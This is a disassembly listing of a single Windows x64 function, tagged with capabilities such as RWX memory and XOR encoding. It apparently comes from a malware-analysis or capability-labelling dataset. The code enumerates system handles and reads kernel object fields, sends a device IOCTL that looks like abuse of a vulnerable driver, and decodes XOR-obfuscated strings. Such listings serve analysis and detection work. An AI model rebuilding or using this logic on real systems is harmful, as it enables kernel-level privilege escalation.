Function at 0x1400875d0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rbp
push rbx
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov rax, qword [0x1401ce080]
xor rax, rsp
mov qword [rbp + 7], rax
mov r14, rcx
lea r9, [rbp - 0x79]
xor ebx, ebx
mov ecx, 0x40
xor r8d, r8d
mov dword [rbp - 0x79], ebx
xor edx, edx
mov edi, ebx
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov r15d, 4
cmp eax, 0xc0000004
jne 0x140087665
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x79]
mov r9d, r15d
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp - 0x79]
lea r9, [rbp - 0x79]
mov rdx, rax
mov ecx, 0x40
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140087620
mov qword [rsp + 0x130], r13
test eax, eax
js 0x140087ee0
test rdi, rdi
je 0x140087ef6
mov r13, rbx
mov qword [rsp + 0x128], rsi
mov esi, ebx
cmp qword [rdi], rbx
jbe 0x14008770e
movaps xmmword [rsp + 0xe0], xmm6
mov rax, rbx
movaps xmmword [rsp + 0xd0], xmm7
nop dword [rax]
nop word [rax + rax]
lea rax, [rax + rax*4]
movsd xmm0, qword [rdi + rax*8 + 0x30]
movups xmm6, xmmword [rdi + rax*8 + 0x10]
movups xmm7, xmmword [rdi + rax*8 + 0x20]
movsd qword [rbp - 0x29], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
movdqa xmm0, xmm6
psrldq xmm0, 8
movq rax, xmm0
cmp rax, rcx
jne 0x1400876ee
movq rax, xmm7
cmp rax, r14
je 0x1400876f9
inc esi
mov eax, esi
cmp rax, qword [rdi]
jb 0x1400876b0
jmp 0x1400876fe
movq r13, xmm6
movaps xmm6, xmmword [rsp + 0xe0]
movaps xmm7, xmmword [rsp + 0xd0]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, qword [rsp + 0x128]
test r13, r13
je 0x140087ef6
lea r8, [r13 + 8]
mov qword [rbp - 0x59], rbx
mov r9d, 8
lea rdx, [rbp - 0x59]
mov rcx, r14
call fcn.140085990
test al, al
je 0x140087d50
mov r8, qword [rbp - 0x59]
test r8, r8
je 0x140087d50
add r8, 8
mov qword [rbp - 0x51], rbx
mov r9d, 8
lea rdx, [rbp - 0x51]
mov rcx, r14
call fcn.140085990
test al, al
je 0x140087bba
mov r8, qword [rbp - 0x51]
test r8, r8
je 0x140087bba
add r8, 0x28
mov qword [rbp - 0x71], rbx
mov r9d, 8
lea rdx, [rbp - 0x71]
mov rcx, r14
call fcn.140085990
test al, al
je 0x140087b31
mov r8, qword [rbp - 0x71]
test r8, r8
je 0x140087b31
xorps xmm0, xmm0
lea rdx, [rbp - 0x69]
add r8, 0x58
mov r9d, reloc.WS2_32.dll_recv
mov rcx, r14
movups xmmword [rbp - 0x69], xmm0
call fcn.140085990
test al, al
je 0x140087b1e
movzx eax, word [rbp - 0x69]
test ax, ax
je 0x140087b1e
mov ecx, eax
mov eax, 2
shr rcx, 1
inc rcx
mul rcx
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call fcn.140104950
movzx r8d, word [rbp - 0x69]
xor edx, edx
add r8, 2
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
movzx r9d, word [rbp - 0x69]
mov rdx, rdi
mov r8, qword [rbp - 0x61]
mov rcx, r14
call fcn.140085990
test al, al
jne 0x1400878e2
mov dword [rbp - 0x2d], 0x35f735e3
mov dword [rbp - 0x29], 0x35f035f2
lea rcx, [rbp - 0x49]
mov dword [rbp - 0x31], 0x35b035e0
mov dword [rbp - 0x35], 0x35fa35ad
mov dword [rbp - 0x39], 0x35e835ee
mov dword [rbp - 0x3d], 0x35e635e0
mov dword [rbp - 0x41], 0x35e935c1
mov dword [rbp - 0x45], 0x35a635d8
mov dword [rbp - 0x49], 0x35a535d8
mov dword [rbp - 0x25], 0x35f235b5
mov dword [rbp - 0x21], 0x35f135e5
mov dword [rbp - 0x1d], 0x35ff35ef
mov dword [rbp - 0x19], 0x35bc35e9
mov dword [rbp - 0x15], 0x35ff35f3
mov dword [rbp - 0x11], 0x35c535f2
mov word [rbp - 0xd], bx
mov byte [rbp - 0xb], 1
call fcn.140085140
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14008c660
lea rdx, [0x14008c840]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x140087ef6
mov rax, qword [rbp - 0x71]
mov word [rbp - 0x69], bx
add rax, 0x58
je 0x140087955
mov qword [rsp + 0x38], rbx
lea rcx, [rbp - 0x69]
mov qword [rbp - 0x31], rax
lea r8, [rbp - 0x49]
lea rax, [rbp - 0x75]
mov qword [rbp - 0x39], rcx
mov qword [rsp + 0x30], rax
mov r9d, Ordinal_41
mov dword [rsp + 0x28], ebx
mov edx, 0x80862007
mov rcx, r14
mov qword [rsp + 0x20], rbx
mov qword [rbp - 0x41], rbx
mov qword [rbp - 0x49], gethostname
mov qword [rbp - 0x29], reloc.WS2_32.dll_recv
mov dword [rbp - 0x75], ebx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140087955
mov rcx, rdi
call fcn.1401045ac
mov al, 1
jmp 0x140087ef8
movdqa xmm3, xmmword [0x1401b0d80]
movdqa xmm4, xmmword [0x1401b0d90]
mov dword [rbp - 0x49], 0x35a535d8
mov dword [rbp - 0x45], 0x35a635d8
mov dword [rbp - 0x41], 0x35e935c1
mov dword [rbp - 0x3d], 0x35e635e0
mov dword [rbp - 0x39], 0x35e835ee
mov dword [rbp - 0x35], 0x35fa35ad
mov dword [rbp - 0x31], 0x35b035e0
mov dword [rbp - 0x2d], 0x35e035e6
mov dword [rbp - 0x29], 0x35e035fa
mov dword [rbp - 0x25], 0x35b635f0
mov dword [rbp - 0x21], 0x35ea35f3
mov dword [rbp - 0x1d], 0x35ec35f0
mov dword [rbp - 0x19], 0x35ee35fe
mov dword [rbp - 0x15], 0x35f035bd
mov dword [rbp - 0x11], 0x35cd35fe
mov dword [rbp - 0xd], 0x358235c4
mov dword [rbp - 9], 0x35c135cf
mov dword [rbp - 5], 0x35c135cb
mov dword [rbp - 1], 0x35c035d3
mov word [rbp + 3], bx
mov byte [rbp + 5], 1
movd xmm1, dword [rbp + rbx*2 - 0x49]
lea rax, [r15 - 1]
lea rcx, [r15 - 2]
movq xmm0, rbx
punpcklqdq xmm0, xmm0
movdqa xmm2, xmm4
paddq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rcx
pshuflw xmm1, xmm0, 0xd8
lea rcx, [r15 + 2]
movd dword [rbp + rbx*2 - 0x49], xmm1
movq xmm0, rax
movd xmm1, dword [rbp + rbx*2 - 0x45]
lea rax, [r15 + 3]
punpcklqdq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
paddq xmm2, xmm3
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movdqa xmm2, xmm4
pshuflw xmm1, xmm0, 0xd8
movq xmm0, r15
movd dword [rbp + rbx*2 - 0x45], xmm1
add r15, 8
movd xmm1, dword [rbp + rbx*2 - 0x41]
punpcklqdq xmm0, xmm0
paddq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rcx
pshuflw xmm1, xmm0, 0xd8
movq xmm0, rax
movd dword [rbp + rbx*2 - 0x41], xmm1
movd xmm1, dword [rbp + rbx*2 - 0x3d]
punpcklqdq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
paddq xmm2, xmm3
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + rbx*2 - 0x3d], xmm1
add rbx, 8
cmp r15, 0x24
jb 0x1400879f2
cmp rbx, 0x26
jae 0x140087b11
mov ecx, 0x3583
nop word [rax + rax]
lea eax, [rcx + rbx]
xor word [rbp + rbx*2 - 0x49], ax
inc rbx
cmp rbx, 0x26
jb 0x140087b00
mov byte [rbp + 5], 0
lea rdx, [rbp - 0x49]
jmp 0x1400878c1
mov dword [rbp - 0x2d], 0x35fb35f7
mov dword [rbp - 0x29], 0x35f035fd
jmp 0x140087852
lea rcx, [rbp - 0x49]
mov dword [rbp - 0x49], 0x35a535d8
mov dword [rbp - 0x45], 0x35a635d8
mov dword [rbp - 0x41], 0x35e935c1
mov dword [rbp - 0x3d], 0x35e635e0
mov dword [rbp - 0x39], 0x35e835ee
mov dword [rbp - 0x35], 0x35fa35ad
mov dword [rbp - 0x31], 0x35b035e0
mov dword [rbp - 0x2d], 0x35fb35f7
mov dword [rbp - 0x29], 0x35f035fd
mov dword [rbp - 0x25], 0x35f235b5
mov dword [rbp - 0x21], 0x35f135e5
mov dword [rbp - 0x1d], 0x35ff35ef
mov dword [rbp - 0x19], 0x35c335e9
mov dword [rbp - 0x15], 0x35fb35ee
mov dword [rbp - 0x11], 0x35d435fc
mov dword [rbp - 0xd], 0x35cd35c8
mov dword [rbp - 9], 0x35cd
mov byte [rbp - 5], 1
call fcn.140086f60
jmp 0x1400878be
movdqa xmm3, xmmword [0x1401b0d80]
lea rdx, [rbp - 0x45]
movdqa xmm4, xmmword [0x1401b0d90]
mov dword [rbp - 0x49], 0x35a535d8
mov dword [rbp - 0x45], 0x35a635d8
mov dword [rbp - 0x41], 0x35e935c1
mov dword [rbp - 0x3d], 0x35e635e0
mov dword [rbp - 0x39], 0x35e835ee
mov dword [rbp - 0x35], 0x35fa35ad
mov dword [rbp - 0x31], 0x35b035e0
mov dword [rbp - 0x2d], 0x35fb35f7
mov dword [rbp - 0x29], 0x35f035fd
mov dword [rbp - 0x25], 0x35f235b5
mov dword [rbp - 0x21], 0x35f135e5
mov dword [rbp - 0x1d], 0x35ff35ef
mov dword [rbp - 0x19], 0x35c335e9
mov dword [rbp - 0x15], 0x35fc35f2
mov dword [rbp - 0x11], 0x35c535f5
mov dword [rbp - 0xd], 0x35d635c2
mov word [rbp - 9], bx
mov byte [rbp - 7], 1
nop word [rax + rax]
movd xmm1, dword [rdx - 4]
lea rax, [r15 - 4]
xorps xmm0, xmm0
lea rcx, [r15 - 2]
punpcklwd xmm1, xmm0
lea rdx, [rdx + 0x10]
punpckldq xmm1, xmm0
movq xmm2, rax
punpcklqdq xmm2, xmm2
lea rax, [r15 - 1]
paddq xmm2, xmm4
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rcx
pshuflw xmm1, xmm0, 0xd8
lea rcx, [r15 + 2]
movd dword [rdx - 0x14], xmm1
movq xmm0, rax
movd xmm1, dword [rdx - 0x10]
lea rax, [r15 + 3]
punpcklqdq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
paddq xmm2, xmm3
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movdqa xmm2, xmm4
pshuflw xmm1, xmm0, 0xd8
movq xmm0, r15
movd dword [rdx - 0x10], xmm1
add r15, 8
movd xmm1, dword [rdx - 0xc]
punpcklqdq xmm0, xmm0
paddq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rcx
pshuflw xmm1, xmm0, 0xd8
movq xmm0, rax
movd dword [rdx - 0xc], xmm1
lea rax, [r15 - 4]
movd xmm1, dword [rdx - 8]
punpcklqdq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
paddq xmm2, xmm3
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rdx - 8], xmm1
cmp rax, 0x20
jb 0x140087c50
mov byte [rbp - 7], bl
lea rdx, [rbp - 0x49]
jmp 0x1400878c1
movdqa xmm3, xmmword [0x1401b0d80]
lea rdx, [rbp - 0x45]
movdqa xmm4, xmmword [0x1401b0d90]
mov dword [rbp - 0x49], 0x35a535d8
mov dword [rbp - 0x45], 0x35a635d8
mov dword [rbp - 0x41], 0x35e935c1
mov dword [rbp - 0x3d], 0x35e635e0
mov dword [rbp - 0x39], 0x35e835ee
mov dword [rbp - 0x35], 0x35fa35ad
mov dword [rbp - 0x31], 0x35b035e0
mov dword [rbp - 0x2d], 0x35fb35f7
mov dword [rbp - 0x29], 0x35f035fd
mov dword [rbp - 0x25], 0x35f235b5
mov dword [rbp - 0x21], 0x35ee35f2
mov dword [rbp - 0x1d], 0x35f935f0
mov dword [rbp - 0x19], 0x35c335fe
mov dword [rbp - 0x15], 0x35fc35f2
mov dword [rbp - 0x11], 0x35c535f5
mov dword [rbp - 0xd], 0x35d635c2
mov word [rbp - 9], bx
mov byte [rbp - 7], 1
nop dword [rax]
movd xmm1, dword [rdx - 4]
lea rax, [r15 - 4]
xorps xmm0, xmm0
lea rcx, [r15 - 2]
punpcklwd xmm1, xmm0
lea rdx, [rdx + 0x10]
punpckldq xmm1, xmm0
movq xmm2, rax
punpcklqdq xmm2, xmm2
lea rax, [r15 - 1]
paddq xmm2, xmm4
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rcx
pshuflw xmm1, xmm0, 0xd8
lea rcx, [r15 + 2]
movd dword [rdx - 0x14], xmm1
movq xmm0, rax
movd xmm1, dword [rdx - 0x10]
lea rax, [r15 + 3]
punpcklqdq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
paddq xmm2, xmm3
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movdqa xmm2, xmm4
pshuflw xmm1, xmm0, 0xd8
movq xmm0, r15
movd dword [rdx - 0x10], xmm1
add r15, 8
movd xmm1, dword [rdx - 0xc]
punpcklqdq xmm0, xmm0
paddq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rcx
pshuflw xmm1, xmm0, 0xd8
movq xmm0, rax
movd dword [rdx - 0xc], xmm1
lea rax, [r15 - 4]
movd xmm1, dword [rdx - 8]
punpcklqdq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
paddq xmm2, xmm3
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rdx - 8], xmm1
cmp rax, 0x20
jb 0x140087de0
mov byte [rbp - 7], bl
lea rdx, [rbp - 0x49]
jmp 0x1400878c1
test rdi, rdi
je 0x140087ef6
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
mov r13, qword [rsp + 0x130]
mov rcx, qword [rbp + 7]
xor rcx, rsp
call fcn.1401041f0
add rsp, 0xf0
pop r15
pop r14
pop rdi
pop rbx
pop rbp
ret